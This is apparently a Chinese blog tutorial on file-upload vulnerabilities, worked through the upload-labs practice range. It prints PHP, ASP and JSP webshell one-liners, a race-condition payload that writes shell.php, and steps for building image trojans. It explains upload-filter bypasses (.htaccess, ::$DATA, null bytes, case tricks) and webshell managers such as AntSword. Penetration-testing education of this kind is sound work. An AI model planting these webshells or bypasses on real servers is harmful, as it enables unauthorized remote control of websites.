中华人民共和国网络安全法

阅读本文前,请熟读并遵守中华人民共和国网络安全法:
http://gkhy.jiujiang.gov.cn/zwgk_228/jc/zcwj/202006/P020200618385401918830.pdf

目录

  • 中华人民共和国网络安全法
  • 简介
  • webshell
  • 靶场搭建
    • 一句话木马
  • 中国蚁剑(AntSword)
    • 安装
    • 简单使用
    • 设置代理
    • 插件
  • 冰蝎
  • 菜刀
  • 白名单绕过
    • 1.前端验证绕过
    • 2.context-type 验证绕过
    • 3. 00截断绕过
  • 黑名单绕过
    • 1.修改后缀名
    • 2. .hatches
    • 3.大小写过滤
    • 4.后缀绕过,空格,加点,::$DATA,. .,
    • 后缀双写
    • 竞争条件绕过
  • 图片木马
    • 制作图片木马
    • 木马利用
    • 二次渲染绕过

简介

文件上传漏洞是指由于程序员未对上传的文件进行严格的验证和过滤,而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。这种攻击方式是最为直接和有效的,“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。

webshell

webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。
顾名思义,“web”的含义是显然需要服务器开放web服务,“shell”的含义是取得对服务器某种程度上操作权限。webshell常常被称为入侵者通过网站端口对网站服务器的某种程度上操作的权限。由于webshell其大多是以动态脚本的形式出现,也有人称之为网站的后门工具。
不管一句话木马,小马,大码都可以泛称webshell

靶场搭建

靶场下载地址:https://github.com/c0ny1/upload-labs
首先在虚拟机中安装window系统
然后安装phpstudy,然后将靶场解压到网站根目录就完成了

一句话木马

首先我们来写一句话木马,用phpstudy打开网站根目录,建立一个xm.php文件,写入这样一段内容

<?php @eval($_POST["cmd"]);?>

然后在浏览器中访问,设置好cmd的内容,访问就能得到如下界面

实际渗透中,可以通过文件上传的方式,将这个木马伪装成文件上传到服务器,然后打开文件路径,就能实现这个功效。
当然,也要根据不同的服务器环境,写不同的一句话木马

//asp
<%eval request("cmd")%>//jsp
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>

也可以参考网上的一些例子:https://www.dazhuanlan.com/2020/02/29/5e59e5e977386/

中国蚁剑(AntSword)

中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。
中国蚁剑推崇模块化的开发思想,遵循开源,就要开得漂亮的原则,致力于为不同层次的人群提供最简单易懂、方便直接的代码展示及其修改说明,努力让大家可以一起为这个项目贡献出力所能及的点点滴滴,让这款工具真正能让大家用得顺心、舒适,让它能为大家施展出最人性化最适合你的能力!
甚至可以讲:中国蚁剑是 一 款比菜刀还牛的shell控制端软件。

git官网:https://github.com/AntSwordProject/

安装

有人说git下载有问题,这里提供一个百度云下载,失效留言:
链接:https://pan.baidu.com/s/1vbWS5r5tsUWv10ILnFRi5w
提取码:jiof
通过git的连接,我们下载到两个包,将他们解压,首先运行加载器,就是带有load的包,

然后运行初始化,选择另一个解压的文件夹,等待一会后,再次打开上图的exe就能够进入antsword运行界面。

简单使用

1.在中间空白,右键添加数据
2.设置相关信息,这里的url为我们上面的一句话木马地址,如下图,编码,解码格式随意

3.点击保存,当然也可以进行其他设置,如http头,cookie,忽略证书等。
4.双击打开生成的条码,就可以看到目标服务的目录结构,并能够进行上传下载编辑,等等操作。
5.右键点击条码,虚拟终端,可以进行shell操作。

设置代理

快捷键 ctrl + shift + A
设置手动代理,然后设置为我们的代理即可,
不会设代理的可以参考前面的博文:https://blog.csdn.net/qq_25490573/article/details/107632953

插件

ctrl + shift + P 打开插件时长,上面的代理设置完成后,重启,就能够正常下载使用插件,插件来源是git,所有代理必不可少。

冰蝎

冰蝎功能和蚁剑类似
下载地址:
链接:https://pan.baidu.com/s/1Ff_RZ9bYkjZNxu8mm-Pdqw
提取码:rwzo
使用方法和蚁剑类似

菜刀

80后用的工具,没有过,不会用

白名单绕过

1.前端验证绕过

各种网站对于文件上传都会做一个验证,当验证发生在前端时,可以进行页面修改,从而跳过验证。
练习:靶场第一关,
正常上传一个php文件是不允许的,但是我们修改网页源码中的,检查函数,就能够跳过验证,从而上传我们的木马。

2.context-type 验证绕过

我们使用抓包工具,查看文件上传类型,如果服务器是根据context-type来判断文件类型,那么我们就可以修改context-type 来实现验证绕过。
练习靶场第二关

3. 00截断绕过

0x00是十六进制表示方法,表示ASCII码为0的字符,在一些函数处理时,会把这个字符当作结束符。

    0x00可以用在对文件名的绕过上,具体原理:系统在对文件名进行读取时,如果遇到0x00,就会认为读取已经结束。但要注意是文件的十六进制内容里的00,而不是文件名中的00。也就是说系统是按二进制或十六进制读取文件,遇到ASCII码为0的位置就停止,而这个ASCII码为0的位置在十六进制中是00。

适用场景:储存未知可控,白名单绕过

测试靶场第十二关
测试包场第十三关
这里需要注意的是 php的版本必须小于5.3.4 ,php的magic_quotes_gpc为off状态

黑名单绕过

上面的检测一般是白名单检测,下面是绕过黑名单的方法

1.修改后缀名

修改.php 为.php3
靶场测试第三关

2. .hatches

.hatches文件是apache服务器的一个配置文件,它负责相关目录下的网页配置,通过这个文件,可以实现301重定向,自定义404,改变文件扩展名,允许阻止用户等功能,
靶场练习4
创建一个.htaccess文件,文件内容为:SetHandler application/x-httpd-php
上传这个.hatches文件,
然后将我们的一句话木马文件名改为xxx.jpg3,然后上传成功,
使用成功后的文件连接即可实现绕过

3.大小写过滤

黑名单方式往往存在大小写过滤补全的问题,
靶场第6关,正常上传是无法成功的
将一句话木马文件重命名为xxx.phP然后上传,

4.后缀绕过,空格,加点,::$DATA,. .,

后缀加空格
在文件后缀名处,加一些内容,不改变文件类型,但是可以绕过黑名单

靶场第七关
这里最好使用抓包工具burpsuite,在此处添加一个空格

后缀加点
加点可以用靶场第八关测试

后缀加::$DATA
::$DATA是利用了NTFS文件系统的一个特性,虽然加了后缀,但是在请求时被认为是文件本身的数据。
测试靶场第九关
在木马植入后,访问位置时需要去掉::$DATA后缀

后缀加点空格点
测试靶场第十关

后缀双写

在某些场景中,目标网站会取出上传文件的后缀,此时我们需要尝试进行,后缀双写
测试靶场十一关

竞争条件绕过

这个是利用,某些情况下,目标网站会先把文件上传到服务器,然后在校验文件是否存在危险,然后删除文件,在文件上传上去,到文件删除,中间存在一小段时间,我们将木马改造如下,在这个极小的时间里,我们访问这个文件是可以访问到的。然后这个php文件会新生成我们的木马。
靶场18关
首先将一句话木马改造一下:

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"]);?>');?>

然后上传,用burp抓包,send to intruder
再请求这个文件,如:http://192.168.10.40/upload-labs-master/upload/test.php
然后send to intruder
此时,设置两个请求如下:
1.clear标记

2.设置payload无限循环

3.设置线程200

4.开启两个请求,一段时间后,在机缘巧合之下,就能够生成我们指定的木马。

图片木马

制作图片木马

命令行
准备一张图片1.jpg和一个木马文件(一句话木马也行),在命令行输入制作命令

copy 1.jpg/b+test.php/a 3.jpg

010editor
用这款工具打开图片,然后在最下方,追加我们的一句话木马,<?php @eval($_POST["cmd"]);?>
其他的编辑工具也可以比如ue

木马利用

上面的图片可以随意的上传到服务器,不会有任何阻碍,但是想要加以利用,还需要以下两种情况

一、文件包含漏洞
如果php文件中存在这样文件包含代码,则存在文件包含漏洞。

我们只需要指定被包含的文件为我们上传的图片,如:
http://192.168.10.40/upload-labs-master/upload/include.php?file=5420200804182043.jpg

二、解析漏洞
解析漏洞主要是一些特殊文件被iis、Apache、Nginx等服务在某种情况下解释成脚本文件格式并得以执行而产生的漏洞。

1、iis 5.x/6.0解析漏洞

  1. 目录解析漏洞 /xx.asp/xx.jpg
    在网站下创建文件夹名字为.asp、.asa的文件夹,其目录内的任何扩展名的文件都被iis当做asp文件来解析 并执行。因此只要攻击者可以通过该漏洞直接上传图片马,并且可以不需要改后缀名!
  2. 文件解析 xx.asp;.jpg
      在iis6.0下,分号后面的不被解析,所以xx.asp;.jpg被解析为asp脚本得以执行。
  3. 文件类型解析 asa/cer/cdx
    iis6.0 默认的可执行文件除了asp还包含这三种asa、cer、cdx。

2、Apache解析漏洞
Apache对文件的解析主要是从右到左开始判断并进行解析,如果判断为不能解析的类型,则继续向左进行解析,如xx.php.wer.xxxxx将被解析为PHP类型。

3、IIS 7.0/ Nginx <8.03畸形解析漏洞

在默认Fast-CGI开启状况下上传名字为xx.jpg,内容为:
<?PHP fputs(fopen(‘shell.php’,‘w’),’<?php eval($_POST[cmd])?>’);?>
然后访问xx.jpg/.php,在这个目录下就会生成一句话木马shell.php。

更多解析漏洞参考:https://www.cnblogs.com/bmjoker/p/8970017.html

二次渲染绕过

有的图片木马上传后,却无法执行,将图片下载后发现,我们的脚本部分消失了,这是因为图片被进行了二次渲染,
解决方法是,将图片下载下来,和jpg_payload.php一起放到php目录的对饮版本目录里,然后执行下面命令:php jpg_payload.php 图片吗
会在当前目录下生成一个新的图片,新生成的图片就能够正常上传下载了。

未完待续。。。

网络安全与渗透:文件上传漏洞,一文详解(十)此生无悔入华夏,男儿何不带吴钩相关推荐

  1. 网络安全与渗透:内网dns劫持——ettercap(三)此生无悔入华夏,男儿何不带吴钩

    中华人民共和国网络安全法 阅读本文前,请熟读并遵守中华人民共和国网络安全法: http://gkhy.jiujiang.gov.cn/zwgk_228/jc/zcwj/202006/P02020061 ...

  2. java文件流 m.jb51.net_FasfDFS整合Java实现文件上传下载功能实例详解

    今天使用Java代码实现文件的上传和下载.对此作者提供了Java API支持,下载fastdfs-client-java将源码添加到项目中.或者在Maven项目pom.xml文件中添加依赖 org.c ...

  3. JS - 文件上传组件WebUploader使用详解1(带进度的文件上传

    一.基本介绍 1,什么是 WebUploader? WebUploader 是由百度公司团队开发的一个以 HTML5 为主,FLASH 为辅的现代文件上传组件. 官网地址:http://fex.bai ...

  4. Java网络编程实现文件上传和下载案例详解

    客户端: 文件上传案例的客户端:读取本地文件,上传到服务器,读取服务器回写的数据 明确: 数据源:c:\1.jpg 目的地:服务器 实现步骤: 1.创建一个本地字节输入流FileInputStream ...

  5. kingedit 上传php_JS文件上传神器bootstrap fileinput详解

    Bootstrap FileInput插件功能如此强大,完全没有理由不去使用,但是国内很少能找到本插件完整的使用方法,于是本人去其官网翻译了一下英文说明文档放在这里供英文不好的同学勉强查阅.另外附上一 ...

  6. JavaWeb实现文件上传下载功能实例详解

    感谢原文作者分享,原文链接:http://www.jb51.net/article/96745.htm 这篇文章主要介绍了JavaWeb中的文件上传和下载功能的实现,在开发中,文件上传和下载功能是非常 ...

  7. [网络安全提高篇] 一〇四.网络渗透靶场Oracle+phpStudy本地搭建万字详解(SQL注入、XSS攻击、文件上传漏洞)

    当您阅读到该篇文章时,作者已经将"网络安全自学篇"设置成了收费专栏,首先说声抱歉.感谢这一年来大家的阅读和陪伴,这100篇安全文章记录了自己从菜鸡到菜鸟的成长史,该部分知识也花了很 ...

  8. web渗透之文件上传漏洞知识总结

    一.文件上传漏洞思路: 第一步: 首先看中间件:因为第一步看中间件就是确定是否存在解析漏洞(学习整理几种解析漏洞的对应版本,有些低版本有解析漏洞,有些高版本就没有.)中间件版本确定了,解析漏洞就确定了 ...

  9. [网络安全自学篇] 八十一.WHUCTF之WEB类解题思路WP(文件上传漏洞、冰蝎蚁剑、反序列化phar)

    这是作者网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您喜欢,一起进步.前文分享了WHUCTF部分题目,包括代码审计.文件包含.过滤绕过.SQL注入.这篇文 ...

最新文章

  1. Qt5: SpringAnimation
  2. PhpStorm代码换行设置
  3. JavaScript window.getComputedStyle()
  4. webgl获取鼠标形状_三模无线搭配对称手型设计,游戏致胜利器,ROG烈刃2无线鼠标...
  5. html手机端富文本,pc端富文本编辑的字符串在手机端适配
  6. 列举一台微型计算机的常用硬件,电脑基础知识问答卷
  7. 导出一条数据_来自小师弟的灵魂拷问之数据泵导出丢失的那些数据量去哪了?...
  8. AsyncTask更新UI线程的基本原理
  9. 【软考10】计算机网络基础知识拾遗
  10. flutter报错[!] Android toolchain - develop for Android devices (Android SDK version 29.0.3) X Andr
  11. 计算机系统运行费,关于同意计算机离港系统实行收费的批复
  12. 小程序支付:appid和mch_id不匹配采坑实录
  13. 前端HTML+CSS学习笔记
  14. vulcan 编程_Vulcan和AUSK之间的比较:如何充分利用Node,React和GraphQL
  15. python好学么零基础_python编程好学吗 自学行吗
  16. 面试笔记:面经-网易考拉
  17. 使用Excel和Matlab批量修改图片名称
  18. java oval_Java开源可扩展数据验证框架之OVAL
  19. SE2431L-R射频放大器
  20. PTA 7-2 简化的插入排序 (15 分)本题要求编写程序,将一个给定的整数插到原本有序的整数序列中,使结果序列仍然有序。

热门文章

  1. 特斯拉设计师评苹果造车:痴人说梦,缺乏创新
  2. 800道Java后端经典面试题,希望你找到自己理想的Offer呀~
  3. js提示“未结束的字符串常量”
  4. 小样本学习之关系网络:让机器自己学习如何度量
  5. php 8bit 10bit 解码,求助:我想把10bit的MKV压制成8bitMP4
  6. Python下opencv使用笔记(二)(简单几何图像绘制)
  7. 把书塞进一个App!应用之星,一键制作属于自己的书架App
  8. 《用户至上:用户研究方法与实践(原书第2版)》一1.1 什么是用户体验
  9. 在否定句和疑问句使用have动词_26
  10. Visual Studio安装SVN过程及作用